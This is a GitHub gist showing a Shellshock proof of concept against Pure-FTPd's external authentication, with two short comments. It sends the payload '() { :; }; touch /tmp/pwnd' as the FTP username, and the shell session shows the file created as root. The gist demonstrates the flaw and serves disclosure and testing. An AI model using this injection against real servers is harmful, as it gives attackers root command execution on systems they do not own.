Skip to content

Instantly share code, notes, and snippets.

@jedisct1

jedisct1/pureftpd shellshock.txt

Last active August 8, 2023 20:07
Show Gist options
  • Star 17 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save jedisct1/88c62ee34e6fa92c31dc to your computer and use it in GitHub Desktop.
Save jedisct1/88c62ee34e6fa92c31dc to your computer and use it in GitHub Desktop.
Download ZIP
Pure-FTPd + external authentication handler #shellshock POC
Raw
pureftpd shellshock.txt
$ cat > /tmp/handler.sh
#! /bin/bash
echo auth_ok:1
echo uid:42
echo gid:21
echo dir:/tmp
echo end
^D
$ chmod +x /tmp/handler.sh
# pure-authd -B -s /tmp/ftpd.sock -r /tmp/handler.sh
# pure-ftpd -B -l extauth:/tmp/ftpd.sock
$ ftp 127.0.0.1
Name: () { :; }; touch /tmp/pwnd
Password: whatever
^C
$ ls -l /tmp/pwnd
-rw------- 1 root wheel 0 Sep 27 15:28 /tmp/pwnd
@claudijd
Copy link

Confirmed this myself. It's legit.

@orafaelfragoso
Copy link

How to test this?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment